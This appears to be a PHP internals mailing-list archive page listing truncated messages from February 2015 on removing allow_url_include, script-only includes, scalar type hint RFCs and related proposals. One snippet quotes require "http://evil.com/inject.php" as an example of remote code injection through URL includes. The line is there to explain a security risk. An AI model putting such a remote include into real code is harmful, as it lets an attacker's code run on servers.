Hey:
On Fri, Feb 27, 2015 at 2:59 PM, Yasuo Ohgaki wrote:
> Hi Xinchen,
>
> On Fri, Feb 27, 2015 at 3:55 PM, Xinchen Hui wrote:
>>
>> hmm, does that means, if this RFC won't pass, then script only include
>> RFC should also be rejected?
>>
>> if yes, then maybe you should put them together?
>
>
The RFC is now updated to state that changing E_DEPRECATED to fatal error
cannot in any way happen before a delay of 5 years, starting with first stable
PHP distribution containing the STH feature.
> -Message d'origine-
> De : François Laupretre [mailto:franc...@php.net]
> Envoyé : vendr
Hi Xinchen,
On Fri, Feb 27, 2015 at 3:55 PM, Xinchen Hui wrote:
> hmm, does that means, if this RFC won't pass, then script only include
> RFC should also be rejected?
>
> if yes, then maybe you should put them together?
>
Sorry I just sent previous mail before your mail.
We need to fix this r
Hi all,
On Fri, Feb 27, 2015 at 12:44 PM, Yasuo Ohgaki wrote:
> This is RFC for removing "allow_url_include" INI option. [1]
>
> During "Script only include" RFC[2] discussion, stream wrapper issue is
> raised.
> I was thinking this issue as a separate issue, but it seems others are not.
>
> "Sc
Hey:
On Fri, Feb 27, 2015 at 11:44 AM, Yasuo Ohgaki wrote:
> Hi all,
>
> This is RFC for removing "allow_url_include" INI option. [1]
>
> During "Script only include" RFC[2] discussion, stream wrapper issue is
> raised.
> I was thinking this issue as a separate issue, but it seems others are not.
Hey:
On Fri, Feb 27, 2015 at 2:22 PM, Xinchen Hui wrote:
> Hey Internals:
>
> I was looking Bob's switch optimization..
And, I am not against this switch optimization..
I referring it to show where is my concerns came from
thanks
>
> then I start to worry about where is the place op
Hey:
On Fri, Feb 27, 2015 at 2:41 PM, reeze wrote:
> Hi,
>
> On 27 February 2015 at 14:26, Xinchen Hui wrote:
>>
>> Hey:
>>
>> On Fri, Feb 27, 2015 at 2:22 PM, Xinchen Hui wrote:
>> > Hey Internals:
>> >
>> > I was looking Bob's switch optimization..
>> >
>> > then I start to worry
Hi Pierre,
> De : Pierre Joye [mailto:pierre@gmail.com]
>
> Also I would really like a clear table describing in details what will
> be changed, to compare how it works now and how it work later.
The RFC now contains a table listing the changes compared to current PHP 5
rules. Enjoy it.
Reg
Hi,
On 27 February 2015 at 14:26, Xinchen Hui wrote:
> Hey:
>
> On Fri, Feb 27, 2015 at 2:22 PM, Xinchen Hui wrote:
> > Hey Internals:
> >
> > I was looking Bob's switch optimization..
> >
> > then I start to worry about where is the place optimization should
> goes..
> >
> >
Hey:
On Fri, Feb 27, 2015 at 2:22 PM, Xinchen Hui wrote:
> Hey Internals:
>
> I was looking Bob's switch optimization..
>
> then I start to worry about where is the place optimization should
> goes..
>
> in generally, PHP is a interpreted language. IMO, it should
> compiler th
Hey Internals:
I was looking Bob's switch optimization..
then I start to worry about where is the place optimization should goes..
in generally, PHP is a interpreted language. IMO, it should
compiler the PHP codes to opcode without any optimization(of course,
we did some, but
Hi all,
This is RFC for removing "allow_url_include" INI option. [1]
During "Script only include" RFC[2] discussion, stream wrapper issue is
raised.
I was thinking this issue as a separate issue, but it seems others are not.
"Script only include" RFC does not cover stream wrapper hole. This RFC
> De : Pierre Joye [mailto:pierre@gmail.com]
> And now let wait all other cases not covered by errors but casting to
> different values, maybe only a few, maybe none, we simply do not know.
Pierre, excuse me to repeat here, because I jst replied the same in another
thread but there is no 'cas
Hi Stas,
On Fri, Feb 27, 2015 at 10:50 AM, Stanislav Malyshev
wrote:
> > For this concern, we have 2 classes of wrappers "local" and "remote".
> > php://input and php://stdin would be issue, since it contains "remote"
> > input under Web SAPI while it is "local" with CLI. We may handle
> > php:/
> De : Pierre Joye [mailto:pierre@gmail.com]
>
> So far nobody answered this question but Francois (tried). You keep
> using this E_DEPRECATED message as a safety net to catch possible bad
> things.
Yes, even if we don't really 'catch' things, because we just raise E_DEPRECATED
and, then, co
> De : Matthew Weier O'Phinney [mailto:matt...@zend.com]
>
> - PHPUnit passes a boolean false to `debug_backtrace()`... which is
> documented
> as expecting an integer! (There are actually several constant values it
> accepts, all of which are integer values.) In this case, PHPUnit is relying
>
Hi!
> For this concern, we have 2 classes of wrappers "local" and "remote".
> php://input and php://stdin would be issue, since it contains "remote"
> input under Web SAPI while it is "local" with CLI. We may handle
> php://input and php://stdin separately.
php streams are marked with is_url = 0
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev
wrote:
> including require
> "http://evil.com/inject.php";. That's not a good choice to give to the
> users.
>
For this concern, we have 2 classes of wrappers "local" and "remote".
php://input and php://stdin would be issue, since it
> De : Anthony Ferrara [mailto:ircmax...@gmail.com]
> They run without triggering E_DEPRECATED errors? Because that means
> they will break with 8 (which by your own words is closer to 2-3 years
> out than 9-10).
Absolutely no date is planned to switch E_DEPRECATED to E_RECOVERABLE_ERROR. It
mu
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev
wrote:
> > SInce allow_url_include change is very simple one, I've just made new RFC
> > for it.
> >
> > https://wiki.php.net/rfc/allow_url_include
> >
> > If you find any other issue like this that relates to this RFC, please
> > let
> De : Lester Caine [mailto:les...@lsces.co.uk]
> FB3.0 is still in development, but adds a bool field for which IS_TRUE
> and IS_FALSE are not a comfortable fit because for any database a field
> can have a value or be null (not set) ... this therefore requires using
> a zval other than IS_TRUE/
Hi all,
On Thu, Feb 26, 2015 at 7:06 AM, Yasuo Ohgaki wrote:
> Vote for script only include/require RFC is started.
> This RFC closes one of the fatal security hole in PHP programs with
> simple patch.
>
> https://wiki.php.net/rfc/script_only_include
> https://github.com/php/php-src/pull/
>
> De : Zeev Suraski [mailto:z...@zend.com]
>
> Thanks a lot for the input! We'll reconsider accepting "1"/"0" as valid
> Booleans as the original proposal did.
Yes. Same conversion rules : empty string and "0" are false, all the rest is
true.
For consistency reasons, we can extend the "0" case
2015-02-24 17:36 GMT+01:00 Benjamin Eberlei :
> Hi,
>
> On Tue, Feb 24, 2015 at 5:17 PM, Thomas Gielfeldt
> wrote:
>
>> Hi internals.
>>
>> I've made PR proposing a feature request: A new interface Sortable.
>>
>> https://github.com/php/php-src/pull/1116
>>
>> If possible, I would like to create
Hi Anthony,
> Passing boolean(false) where an integer is expected will generate an
> error. This is a common practice, specifically around internal
> functions. Example:
I think he was talking about receiving integer as boolean, which we support,
not boolean as integer.
Regards
François
--
P
On Thu, Feb 26, 2015 at 4:29 PM, Matthew Weier O'Phinney
wrote:
> I've taken some time the last couple days to compile both the Scalare Type
> Hints
> v0.5 (heretofor STHv5) and Coercive Scalar Type Hints (heretofore STHcoerce)
> patches and test some code against them.
Thanks for this detaile
Thank you so much for taking the time to do this. Your explanations of a
more "real-world" example are extremely valuable and provide a very strong
hint at the effects that these RFC implementations may have, both in the
short and long term.
Seriously, very appreciated.
On Thu, Feb 26, 2015 at 7:
On Thu, Feb 26, 2015 at 3:57 PM, Zeev Suraski wrote:
> Drupal homepage: One new E_DEPRECATED warning, which seems to catch a
> real bug, or at least faulty looking code:
> $path = trim($path, '/'); // raises E_DEPRECATED, as $path is boolean
> false.
> return $path;
So far nobody answered
I've taken some time the last couple days to compile both the Scalare Type Hints
v0.5 (heretofor STHv5) and Coercive Scalar Type Hints (heretofore STHcoerce)
patches and test some code against them.
In each case, I modified the `Phly\Http\Response` class from my phly/http
package to add scalar typ
Hi Zeev,
On 26 February 2015 at 23:57, Zeev Suraski wrote:
> Another change being considered and not yet in the RFC is re-allowing
> leading and trailing spaces for numeric strings (sorry Paddy.)
Not to worry. I know where Github keeps the servers ;).
There are far worse things than spaces.
Pa
> How many deprecations do you get running the ZF2 and Symfony testsuites?
None, but it may have to do with the fact I haven't run them yet :)
Zeev
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
> with the most notable difference being
> allowing NULL->scalar conversions
Forgot to clarify - this is only for calls to internal functions.
Userland type hints don't accept NULL->scalar conversions.
Zeev
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://ww
On Fri, Feb 27, 2015 at 12:57 AM, Zeev Suraski wrote:
> All,
>
> We've been working in the last few days to test and tune the Coercive STH
> patch. I think the results are quite nice, and surprisingly better than
> one might have expected.
>
> Before diving into the results, we did update the R
All,
We've been working in the last few days to test and tune the Coercive STH
patch. I think the results are quite nice, and surprisingly better than
one might have expected.
Before diving into the results, we did update the RFC
(wiki.php.net/rfc/coercive_sth) - with the most notable differenc
Hi!
> SInce allow_url_include change is very simple one, I've just made new RFC
> for it.
>
> https://wiki.php.net/rfc/allow_url_include
>
> If you find any other issue like this that relates to this RFC, please
> let me know
> I'll put this discussion shortly.
I'm not sure what this RFC is try
Hi Stas,
On Thu, Feb 26, 2015 at 7:01 PM, Yasuo Ohgaki wrote:
> On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev
> wrote:
>
>> > This can be prevented by restricting phar archive name or forbid all
>> > URI name at all. The latter is better choice.
>>
>> If by "all uri" you mean all streams,
On 26/02/15 21:28, Zeev Suraski wrote:
>> Yes, the database use case and exterior data has been my main concern over
>> > the type hint proposals. Now, this could also be changed (fixed, etc) on
>> > a
>> > different layer (aka database extensions to deal with native types) but
>> > that is
>> > l
> Yes, the database use case and exterior data has been my main concern over
> the type hint proposals. Now, this could also be changed (fixed, etc) on
> a
> different layer (aka database extensions to deal with native types) but
> that is
> likely far more to bite off than one would want at this
On Thu, Feb 26, 2015 at 3:15 PM, Zeev Suraski wrote:
> > -Original Message-
> > From: Mike Willbanks [mailto:pen...@gmail.com]
> > Sent: Thursday, February 26, 2015 10:43 PM
> > To: Zeev Suraski
> > Cc: PHP Internals
> > Subject: Re: [PHP-DEV] A different user perspective on scalar type
>
> -Original Message-
> From: Mike Willbanks [mailto:pen...@gmail.com]
> Sent: Thursday, February 26, 2015 10:43 PM
> To: Zeev Suraski
> Cc: PHP Internals
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declarations
>
> Here is the most basic example and something that
On Thu, Feb 26, 2015 at 9:28 AM, Theodore Brown wrote:
> I am a full-time PHP developer responsible for maintaining several large
> enterprise applications, as well as a number of libraries and personal apps.
> I have been following the scalar type proposals quite closely, as along with
> return t
Zeev,
On Thu, Feb 26, 2015 at 2:18 PM, Zeev Suraski wrote:
> > -Original Message-
> > From: Mike Willbanks [mailto:pen...@gmail.com]
> > Sent: Thursday, February 26, 2015 9:46 PM
> > To: Anthony Ferrara
> > Cc: Dan Ackroyd; Zeev Suraski; Theodore Brown; internals@lists.php.net
> > Subjec
> -Original Message-
> From: Anthony Ferrara [mailto:ircmax...@gmail.com]
> Sent: Thursday, February 26, 2015 10:24 PM
> To: Zeev Suraski
> Cc: internals@lists.php.net
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declarations
>
> Zeev,
>
>
> > When I say you need t
Thanks, I posted a pull request against v5.6.6:
https://github.com/php/php-src/pull/1122
If this goes through, I can do a separate patch against master. (This ext
has changed very little over time so it would be largely the same.)
On Mon, Feb 23, 2015 at 3:19 PM, Matteo Beccati wrote:
> On 23/0
Zeev,
>> We apparently have a different definition of "less". Your proposal
>> requires
>> you to worry about every type in every line of code that ever existed.
>> Yes,
>> there are fewer dangerous type change errors, but you need to look at
>> every
>> line of your application to find them.
>
>
> -Original Message-
> From: Mike Willbanks [mailto:pen...@gmail.com]
> Sent: Thursday, February 26, 2015 9:46 PM
> To: Anthony Ferrara
> Cc: Dan Ackroyd; Zeev Suraski; Theodore Brown; internals@lists.php.net
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declaration
> -Original Message-
> From: Anthony Ferrara [mailto:ircmax...@gmail.com]
> Sent: Thursday, February 26, 2015 9:54 PM
> To: Zeev Suraski
> Cc: Mike Willbanks; Dan Ackroyd; Theodore Brown; internals@lists.php.net
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declarat
Zeev,
>> With the current coercive proposal, you will still need to worry about the
>> types: https://wiki.php.net/rfc/coercive_sth#coercion_rules
>
> That's true, but a lot, lot less.
We apparently have a different definition of "less". Your proposal
requires you to worry about every type in eve
2015-02-21 1:45 GMT+01:00 Niklas Keller :
> 2015-02-21 1:07 GMT+01:00 Pádraic Brady :
>> On 20 February 2015 at 23:38, Larry Garfield
>> wrote:
>>> While I love the idea, strict type comparison for in would, in essence,
>>> be a
>>> toe-dip into the scalar strict typing world (see other thread) th
Anthony,
On Thu, Feb 26, 2015 at 1:29 PM, Anthony Ferrara
wrote:
> Mike,
>
> One point of clarification:
>
> > This is true, however, the types that you are receiving back form a
> > multitude of data sources might be in a mixed format (databases for
> example
> > often provide representation ba
> -Original Message-
> From: Anthony Ferrara [mailto:ircmax...@gmail.com]
> Sent: Thursday, February 26, 2015 9:29 PM
> To: Mike Willbanks
> Cc: Dan Ackroyd; Zeev Suraski; Theodore Brown; internals@lists.php.net
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declarat
Mike,
One point of clarification:
> This is true, however, the types that you are receiving back form a
> multitude of data sources might be in a mixed format (databases for example
> often provide representation back as a string, non-json based web services
> provide mainly as a string, etc).
> -Original Message-
> From: Dan Ackroyd [mailto:dan...@basereality.com]
> Sent: Thursday, February 26, 2015 8:49 PM
> To: Zeev Suraski
> Cc: Theodore Brown; internals@lists.php.net
> Subject: Re: [PHP-DEV] A different user perspective on scalar type
> declarations
>
> On 26 February 2015 a
On 02/26/2015 10:49 AM, Dan Ackroyd wrote:
> In most applications, the part of the code that is exposed to the
> outside world and has to convert strings or unknown types into known
> types is a very small layer at the outside edge of the application.
>
> The vast majority of code written for non-
Hello,
On Thu, Feb 26, 2015 at 12:49 PM, Dan Ackroyd
wrote:
> On 26 February 2015 at 17:48, Zeev Suraski wrote:
> >> From: Theodore Brown [mailto:theodor...@outlook.com]
> >> 2. Strict types are important in some cases.
> >>
> >> I would *want* any value with the wrong type (even a string like
On 26 February 2015 at 17:48, Zeev Suraski wrote:
>> From: Theodore Brown [mailto:theodor...@outlook.com]
>> 2. Strict types are important in some cases.
>>
>> I would *want* any value with the wrong type (even a string like
> "26")
>> to be flagged as an error when passed to a function expecting
Thanks for your work on this Anthony.
On Thu, Feb 26, 2015 at 2:58 PM, Anthony Ferrara
wrote:
> All,
>
> I have opened voting on Scalar Type Declarations v0.5. Please cast your
> vote.
>
> https://wiki.php.net/rfc/scalar_type_hints_v5#vote
>
> The vote will remain open until March 13th, 2015 or
Le 19/02/2015 10:09, Joe Watkins a écrit :
The expectations RFC is now in voting phase:
https://wiki.php.net/rfc/expectations#vote
Hi,
While talking about this RFC with other people of AFUP, we discussed
about assert()... And mostly ended up against "it".
Still, note we probably discus
Hi François,
> Instead of rejecting the whole RFC, you can ask to keep supporting leading
> and trailing blanks in numeric strings. That's something that is really
> still under discussion, even between authors. To be clear, I prefer
> authorizing leading and trailing blanks (but just blanks), Zee
> -Original Message-
> From: Theodore Brown [mailto:theodor...@outlook.com]
> Sent: Thursday, February 26, 2015 5:29 PM
> To: internals@lists.php.net
> Subject: [PHP-DEV] A different user perspective on scalar type
declarations
>
> I am a full-time PHP developer responsible for maintaining
Please remember that now is just impossible to use AES-GCM with the current
OpenSSL extension API, there is no way to get/set the authentication tag.
With AES-GCM you already get a MAC for free, that should be the default
operation mode.
https://bugs.php.net/bug.php?id=67304
On Thu, Feb 26, 2015
On 2/26/15, 12:59 AM, "Sammy Kaye Powers" wrote:
>I don't know why everyone says the internals list is so scary - you guys
>are great! :)
Clearly php-internals participants are all very fine people. I am
nevertheless scared brickless of php-internals, which is not the
same thing;)
>I actually
On Thu, Feb 26, 2015 at 5:27 PM, Tom Worster wrote:
> On 2/26/15, 11:07 AM, "Stefan Esser" wrote:
>
> >Hi,
> >
> >> libgcrypt does at least have a maintainer but it's poor
> >> Werner Koch who is so destitute he lives on charity raised
> >> on Kickstarter and has his work cut out just trying to
On 2/26/15, 11:17 AM, "Anthony Ferrara" wrote:
>One thing I'd like to make clear: I do not intend to target 7 with
>this functionality (possibly 7.1 or later). I'd rather build a POC and
>play with it for a bit. So while I do want to discuss it, I just
>wanted to set expectations properly.
Agree
On 2/26/15, 11:07 AM, "Stefan Esser" wrote:
>Hi,
>
>> libgcrypt does at least have a maintainer but it's poor
>> Werner Koch who is so destitute he lives on charity raised
>> on Kickstarter and has his work cut out just trying to deal
>> with GPG: http://is.gd/cbHCYO
>
>Wow. Just WOW.
>
>Are you
On Thu, Feb 26, 2015 at 2:10 AM, Dmitry Stogov wrote:
> Hi Anthony,
>
> What do you think about using a user level callback for strict type checks
> instead of declare(). It won't allow changing behavior per file, but this
> has its own cons and pros.
>
> set_strict_type_checker(function ($class_
Leigh and all,
On Thu, Feb 26, 2015 at 11:12 AM, Leigh wrote:
> On 26 February 2015 at 15:37, Tom Worster wrote:
>> On 2/26/15, 3:48 AM, "Stanislav Malyshev" wrote:
>>
>>>The custom is that the first word names the function group (yes, I know
>>>old functions do not follow it, but this is new o
On 26 February 2015 at 16:07, Stefan Esser wrote:
> Hi,
>
>> libgcrypt does at least have a maintainer but it's poor
>> Werner Koch who is so destitute he lives on charity raised
>> on Kickstarter and has his work cut out just trying to deal
>> with GPG: http://is.gd/cbHCYO
>
> Wow. Just WOW.
>
>
On 26 February 2015 at 15:37, Tom Worster wrote:
> On 2/26/15, 3:48 AM, "Stanislav Malyshev" wrote:
>
>>The custom is that the first word names the function group (yes, I know
>>old functions do not follow it, but this is new one). Unless we're going
>>to introduce a group of functions called sec
Hi,
> libgcrypt does at least have a maintainer but it's poor
> Werner Koch who is so destitute he lives on charity raised
> on Kickstarter and has his work cut out just trying to deal
> with GPG: http://is.gd/cbHCYO
Wow. Just WOW.
Are you jealous that thousands of people consider Werner Koch's
Hi Theodore,
> De : Theodore Brown [mailto:theodor...@outlook.com]
>
> however, there are hundreds of places where code relies on GET/POST
> parameters
> being automatically trimmed when passed to a function expecting an
integer.
> The current coercive proposal would deprecate this and later make
On 26 February 2015 at 15:04, Tom Worster wrote:
>>I actually started down this RFC path out of frustration on this very
>>point of needing secure random alphanumeric stings. The originally RFC &
>>patch contained a `random_hex()` function that would convert bytes from
>>the CSPRNG into hex.
>
> b
On Thu, Feb 26, 2015 at 12:48 AM, Stanislav Malyshev
wrote:
> Hi!
>
>> I'm cool with that idea but I also think it should be spelled out like `
>> random_crypto_*()` as Pierre suggests. I like `secure_random_bytes()` but
>> that's because it's what Ruby names their CSPRNG. :)
>
> The custom is tha
On 2/26/15, 3:48 AM, "Stanislav Malyshev" wrote:
>The custom is that the first word names the function group (yes, I know
>old functions do not follow it, but this is new one). Unless we're going
>to introduce a group of functions called secure_*, random_* is a natural
>choice.
This reminds me o
I am a full-time PHP developer responsible for maintaining several large
enterprise applications, as well as a number of libraries and personal apps.
I have been following the scalar type proposals quite closely, as along with
return type declarations, scalar types have the potential to reduce erro
All,
I have opened voting on Scalar Type Declarations v0.5. Please cast your vote.
https://wiki.php.net/rfc/scalar_type_hints_v5#vote
The vote will remain open until March 13th, 2015 or until the date a
competing RFC closes voting, whichever is later.
Thanks
Anthony
--
PHP Internals - PHP Ru
On 26/02/15 11:34, Benjamin Eberlei wrote:
>> You 'll have to think about each file anyway. To add or not to add
>> > declare(strict_types=1).
>> >
> Yes, but It has only exactly one ruleset to keep in mind. With your
> approach the ruleset space is infinite. Much more complex.
Currently the rule
On Thu, Feb 26, 2015 at 2:34 PM, Benjamin Eberlei
wrote:
>
>
> On Thu, Feb 26, 2015 at 12:24 PM, Dmitry Stogov wrote:
>
>>
>>
>> On Thu, Feb 26, 2015 at 2:09 PM, Benjamin Eberlei
>> wrote:
>>
>>>
>>>
>>> On Thu, Feb 26, 2015 at 11:56 AM, Dmitry Stogov wrote:
>>>
On Thu, Feb 26,
On Thu, Feb 26, 2015 at 12:24 PM, Dmitry Stogov wrote:
>
>
> On Thu, Feb 26, 2015 at 2:09 PM, Benjamin Eberlei
> wrote:
>
>>
>>
>> On Thu, Feb 26, 2015 at 11:56 AM, Dmitry Stogov wrote:
>>
>>>
>>>
>>> On Thu, Feb 26, 2015 at 1:34 PM, Benjamin Eberlei
>>> wrote:
>>>
On Thu, Feb 2
Hi,
I forgot to formally declare a voting period, so I’ll do so now.
Voting will end on Feb, 27th at 21:00 UTC, so if you didn’t vote yet, please do
so until then.
https://wiki.php.net/rfc/pecl_http#vote
> On 20 02 2015, at 21:56, Michael Wallner wrote:
>
> Hi,
>
> as already threatened, I
On Thu, Feb 26, 2015 at 2:09 PM, Benjamin Eberlei
wrote:
>
>
> On Thu, Feb 26, 2015 at 11:56 AM, Dmitry Stogov wrote:
>
>>
>>
>> On Thu, Feb 26, 2015 at 1:34 PM, Benjamin Eberlei
>> wrote:
>>
>>>
>>>
>>> On Thu, Feb 26, 2015 at 11:10 AM, Dmitry Stogov wrote:
>>>
Hi Anthony,
What
On Thu, Feb 26, 2015 at 1:43 PM, Joe Watkins wrote:
> > The implementation should be simpler and more efficient than using
> declare().
>
> This can't really be correct, if a call to
>
> function mine(int $one, double $two) {
>
> }
>
> results in three function calls then that's going to cost con
On Thu, Feb 26, 2015 at 11:56 AM, Dmitry Stogov wrote:
>
>
> On Thu, Feb 26, 2015 at 1:34 PM, Benjamin Eberlei
> wrote:
>
>>
>>
>> On Thu, Feb 26, 2015 at 11:10 AM, Dmitry Stogov wrote:
>>
>>> Hi Anthony,
>>>
>>> What do you think about using a user level callback for strict type
>>> checks
>>>
On Thu, Feb 26, 2015 at 1:34 PM, Benjamin Eberlei
wrote:
>
>
> On Thu, Feb 26, 2015 at 11:10 AM, Dmitry Stogov wrote:
>
>> Hi Anthony,
>>
>> What do you think about using a user level callback for strict type checks
>> instead of declare(). It won't allow changing behavior per file, but this
>>
> The implementation should be simpler and more efficient than using
declare().
This can't really be correct, if a call to
function mine(int $one, double $two) {
}
results in three function calls then that's going to cost considerably.
I don't like the idea of user function being called, but d
On Thu, Feb 26, 2015 at 11:10 AM, Dmitry Stogov wrote:
> Hi Anthony,
>
> What do you think about using a user level callback for strict type checks
> instead of declare(). It won't allow changing behavior per file, but this
> has its own cons and pros.
>
> set_strict_type_checker(function ($clas
Hi Anthony,
What do you think about using a user level callback for strict type checks
instead of declare(). It won't allow changing behavior per file, but this
has its own cons and pros.
If callback is not set, arguments are converted according to standard
rules, if set and returns false - fat
Hi Stas,
I'm on the side wishes PHP being more secure.
I think you are on the same side. Let's be productive for the objective :)
On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev
wrote:
> > This can be prevented by restricting phar archive name or forbid all
> > URI name at all. The latter i
Hi Yasuo,
On 26 February 2015 at 08:51, Stanislav Malyshev wrote:
> Hi!
>
>> This can be prevented by restricting phar archive name or forbid all
>> URI name at all. The latter is better choice.
>
> If by "all uri" you mean all streams, that would be very high burden,
> which may break many appli
Hi Yasuo,
I have voted no, as I believe too that the change will give a false
sense of security.
In my past experience, numerous exploited applications I've seen had php
scripts (php-shells or just outputting malicious code) dropped to the
file system and most of the times the extension was
On Wed, Feb 25, 2015 at 7:52 PM, Dmitry Stogov wrote:
> Hi Alexander,
>
> On Tue, Feb 24, 2015 at 10:48 AM, Alexander Lisachenko <
> lisachenko...@gmail.com> wrote:
>
> > Morning!
> >
> > I want to ask this question one more time before PHP7 feature freeze: can
> > we the engine case sensitive f
Hi,
On Thu, Feb 26, 2015 at 9:45 AM, Jacob Bednarz wrote:
>> I think it would be good to incitate all the frameworks and projects using
>> Travis CI to add nightly to their testing matrix so as to catch bugs in
>> the
>> upcoming PHP 7 version by testing real code and also so as to have as much
>
Hi Nikita
> -Ursprüngliche Nachricht-
> Von: Nikita Popov [mailto:nikita@gmail.com]
> Gesendet: Montag, 6. Oktober 2014 23:54
> An: PHP internals
> Betreff: [PHP-DEV] [RFC] Exceptions in the engine
>
> Hi internals!
>
> During the PHP 5.6 development cycle I have proposed an RFC [1]
Hi!
> This can be prevented by restricting phar archive name or forbid all
> URI name at all. The latter is better choice.
If by "all uri" you mean all streams, that would be very high burden,
which may break many applications using streams, including phar handling.
> There is design problem obv
Hi!
> I'm cool with that idea but I also think it should be spelled out like `
> random_crypto_*()` as Pierre suggests. I like `secure_random_bytes()` but
> that's because it's what Ruby names their CSPRNG. :)
The custom is that the first word names the function group (yes, I know
old functions d
On 26/02/15 08:05, François Laupretre wrote:
> You're probably right but I don't understand what you mean with 'casting'.
> AFAIK, we are not touching casting rules, implicit or explicit.
BUT ... While Coercive Type Rules don't actually cast, they fail in
different ways to what the cast would hav
> De : Pierre Joye [mailto:pierre@gmail.com]
>
> As I said earlier, E_DEPRECATED will only caught what it sees, we miss
> what it does not and actually casts happily.
Sorry, Pierre, I don't see what you mean. You're probably right but I don't
understand what you mean with 'casting'. AFAIK, w
97 matches
Mail list logo
